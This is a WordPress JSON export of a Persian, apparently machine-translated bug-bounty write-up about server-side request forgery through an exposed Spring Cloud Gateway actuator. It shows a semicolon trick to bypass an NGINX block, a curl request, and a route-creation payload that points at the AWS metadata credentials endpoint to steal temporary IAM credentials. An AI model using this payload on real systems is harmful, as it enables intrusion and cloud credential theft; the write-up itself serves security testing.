{"id":98535,"date":"2025-02-22T03:25:47","date_gmt":"2025-02-21T23:55:47","guid":{"rendered":"https:\/\/nabfollower.com\/blog\/ssrf-via-spring-cloud-gateway-26h6\/"},"modified":"2025-02-22T03:25:47","modified_gmt":"2025-02-21T23:55:47","slug":"ssrf-via-spring-cloud-gateway-26h6","status":"publish","type":"post","link":"https:\/\/nabfollower.com\/blog\/ssrf-via-spring-cloud-gateway-26h6\/","title":{"rendered":"SSRF \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062f\u0631\u0648\u0627\u0632\u0647 \u0627\u0628\u0631 \u0628\u0647\u0627\u0631"},"content":{"rendered":"<div data-article-id=\"2292062\" id=\"article-body\">\n<p>\u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0641\u0636\u0644 \u0627\u0634\u06a9\u0627\u0644 \u060c \u06cc\u0627\u0641\u062a\u0646 \u0632\u06cc\u0631 \u062f\u0627\u0645\u0646\u0647 \u0647\u0627\u06cc \u0628\u062f\u0648\u0646 \u0634\u0627\u062e\u0635 \u062a\u0639\u0631\u06cc\u0641 \u0634\u062f\u0647 \u060c \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0633\u06cc\u0631 \u0628\u0647 \u0635\u0641\u062d\u0647 \u062e\u0637\u0627\u06cc \u067e\u06cc\u0634 \u0641\u0631\u0636 \u0686\u0627\u0631\u0686\u0648\u0628 \u0628\u0647\u0627\u0631 (\u0628\u0627 \u06cc\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u0631\u06cc\u0641 \u0634\u062f\u0647 \u060c \u0628\u0633\u06cc\u0627\u0631 \u0645\u0639\u0645\u0648\u0644 \u0627\u0633\u062a. <code>\/error<\/code> \u0645\u0633\u06cc\u0631)<\/p>\n<p><\/p>\n<p>\u0647\u0645\u0686\u0646\u06cc\u0646 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0645\u0633\u06cc\u0631\u0647\u0627\u06cc Lib \u0628\u0633\u06cc\u0627\u0631 \u0645\u0639\u0645\u0648\u0644 \u0627\u0633\u062a (\u06cc\u06a9 \u0644\u06cc\u0633\u062a \u06a9\u0644\u0645\u0647 \u062e\u0648\u0628 \u062f\u0631 \u0645\u062e\u0632\u0646 Seclists \u0645\u062e\u0635\u0648\u0635 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0628\u0648\u062a \u0628\u0647\u0627\u0631 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f) \u060c \u0645\u0627\u0646\u0646\u062f <code>\/actuator\/gateway<\/code>\u060c \u0627\u06cc\u0646 \u0648\u0636\u0639\u06cc\u062a \u0648\u0636\u0639\u06cc\u062a 403 \u0645\u0645\u0646\u0648\u0639 \u0631\u0627 \u0628\u0631\u0645\u06cc \u06af\u0631\u062f\u0627\u0646\u062f (\u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u062a\u0639\u0631\u06cc\u0641 \u0634\u062f\u0647 \u062f\u0631 NGINX).<\/p>\n<p>\u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0627\u0633\u0627\u0632\u06af\u0627\u0631\u06cc \u062f\u0631 \u067e\u0627\u0631\u0633 \u0647\u0627\u06cc HTTP \u060c \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0628\u0627 \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0645\u06cc \u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0646\u062a\u0631\u0644 \u0647\u0627 \u062f\u0648\u0631 \u0632\u062f. (\u06cc\u0627 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647 &#8220;\\ x09&#8221;) \u060c \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0631\u062f \u062e\u0627\u0635 \u0627\u0632 \u0628\u0648\u062a \u0628\u0647\u0627\u0631 \u062f\u0631 \u0646\u0633\u062e\u0647 \u0647\u0627\u06cc <2.7 (\u0627\u0632 \u0622\u0646\u062c\u0627 \u06a9\u0647 \u0686\u0646\u06cc\u0646 \u0634\u062e\u0635\u06cc\u062a \u0647\u0627\u06cc\u06cc \u0631\u0627 \u062d\u0630\u0641 \u0645\u06cc \u06a9\u0646\u062f \u060c \u062f\u0631 \u062d\u0627\u0644\u06cc \u06a9\u0647 nginx \u0686\u0646\u06cc\u0646 \u0646\u06cc\u0633\u062a).<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight plaintext\"><code>curl 'https:\/\/redacted\/actuator;' | jq\n{\n  \"_links\": {\n    \"self\": {\n      \"href\": \"http:\/\/redacted.com\/actuator;\",\n      \"templated\": false\n    },\n    \"gateway\": {\n      \"href\": \"http:\/\/redacted.com\/actuator;\/gateway\",\n      \"templated\": false\n    }\n  }\n}\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0631\u0627 \u0648\u0627\u0631\u062f \u06a9\u0646\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>Spring Cloud Gateway \u062e\u062f\u0645\u0627\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062d\u0645\u0644 \u0648 \u0646\u0642\u0644 \u0631\u0627 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc \u062f\u0647\u062f \u0648 \u067e\u0627\u0633\u062e \u0631\u0627 \u062f\u0631 \u0645\u0633\u06cc\u0631 \u0628\u0631\u0645\u06cc \u06af\u0631\u062f\u0627\u0646\u062f. \u0628\u0647 \u0639\u0628\u0627\u0631\u062a \u062f\u06cc\u06af\u0631 \u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0646 \u0645\u0639\u0646\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0627\u0632 \u0627\u06cc\u0646 \u0642\u0627\u0628\u0644\u06cc\u062a \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 SSRF \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0627\u06af\u0631 \u0633\u0631\u0648\u0631 \u062f\u0631 \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0628\u0631\u06cc \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u0648\u062f \u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0628\u0631\u062f\u0627\u062f\u0647 \u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u0627\u0639\u062a\u0628\u0627\u0631 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0648\u0642\u062a \u0627\u0645\u06a9\u0627\u0646 \u067e\u0630\u06cc\u0631 \u0628\u0627\u0634\u062f. \u0627\u063a\u0644\u0628 \u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0627 \u0627\u06cc\u062c\u0627\u062f \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u067e\u0633\u062a \u060c \u0645\u0633\u06cc\u0631\u0647\u0627 \u0631\u0627 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u06cc\u062f <code>\/actuator;\/gateway\/routes\/{route_id}<\/code> \u0628\u0627 \u0628\u062f\u0646 \u0632\u06cc\u0631:<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight plaintext\"><code>{\n  \"id\": \"first\",\n  \"predicates\": [{\n    \"name\": \"Path\",\n    \"args\": {\"_genkey_0\":\"\/first\"}\n  }],\n  \"filters\": [\n      \"StripPrefix=2\"\n  ],\n  \"uri\": \"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\",\n  \"order\": 0\n}\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0631\u0627 \u0648\u0627\u0631\u062f \u06a9\u0646\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u067e\u0633 \u0627\u0632 \u0627\u06cc\u062c\u0627\u062f \u0645\u0633\u06cc\u0631 \u060c \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u067e\u0633\u062a (\u0628\u0644\u0647 \u060c \u067e\u0633\u062a) \u060c \u062d\u0627\u0641\u0638\u0647 \u0646\u0647\u0627\u0646 \u0631\u0627 \u062a\u0627\u0632\u0647 \u06a9\u0646\u06cc\u062f <code>\/actuator;\/gateway\/refresh<\/code> \u0628\u062f\u0648\u0646 \u0645\u062d\u062a\u0648\u0627\u06cc \u062f\u0631 \u0628\u062f\u0646 \u067e\u0627\u0633\u062e. \u0627\u0632 \u0622\u0646 \u0628\u0647 \u0628\u0639\u062f \u0645\u06cc \u062a\u0648\u0627\u0646 SSRF \u0631\u0627 \u0641\u0642\u0637 \u0628\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a <code>\/first<\/code> \u0645\u0633\u06cc\u0631.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/media2.dev.to\/dynamic\/image\/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto\/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhkbe0hyv59bz9ognfkw.png\" alt=\"\u0634\u0631\u062d \u062a\u0635\u0648\u06cc\u0631\" loading=\"lazy\" width=\"797\" height=\"285\" title=\"\"><\/p>\n<p>\u0628\u0647 \u0627\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628 \u0645\u0627 \u0628\u0647 \u062d\u0633\u0627\u0628 AWS \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u0645\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0631 \u0645\u0646\u0627\u0628\u0639 \u062e\u0627\u0635 \u06a9\u0646\u062a\u0631\u0644 \u0645\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0641\u0636\u0644 \u0627\u0634\u06a9\u0627\u0644 \u060c \u06cc\u0627\u0641\u062a\u0646 \u0632\u06cc\u0631 \u062f\u0627\u0645\u0646\u0647 \u0647\u0627\u06cc \u0628\u062f\u0648\u0646 \u0634\u0627\u062e\u0635 \u062a\u0639\u0631\u06cc\u0641 \u0634\u062f\u0647 \u060c \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0633\u06cc\u0631 \u0628\u0647 \u0635\u0641\u062d\u0647 \u062e\u0637\u0627\u06cc \u067e\u06cc\u0634 \u0641\u0631\u0636 \u0686\u0627\u0631\u0686\u0648\u0628 \u0628\u0647\u0627\u0631 (\u0628\u0627 \u06cc\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u0631\u06cc\u0641 \u0634\u062f\u0647 \u060c \u0628\u0633\u06cc\u0627\u0631 \u0645\u0639\u0645\u0648\u0644 \u0627\u0633\u062a. \/error \u0645\u0633\u06cc\u0631) \u0647\u0645\u0686\u0646\u06cc\u0646 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0645\u0633\u06cc\u0631\u0647\u0627\u06cc Lib \u0628\u0633\u06cc\u0627\u0631 \u0645\u0639\u0645\u0648\u0644 \u0627\u0633\u062a (\u06cc\u06a9 \u0644\u06cc\u0633\u062a \u06a9\u0644\u0645\u0647 \u062e\u0648\u0628 \u062f\u0631 \u0645\u062e\u0632\u0646 Seclists \u0645\u062e\u0635\u0648\u0635 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0628\u0648\u062a \u0628\u0647\u0627\u0631 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":98536,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[339],"tags":[],"class_list":["post-98535","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dev"],"_links":{"self":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts\/98535","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/comments?post=98535"}],"version-history":[{"count":0,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts\/98535\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/media\/98536"}],"wp:attachment":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/media?parent=98535"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/categories?post=98535"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/tags?post=98535"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}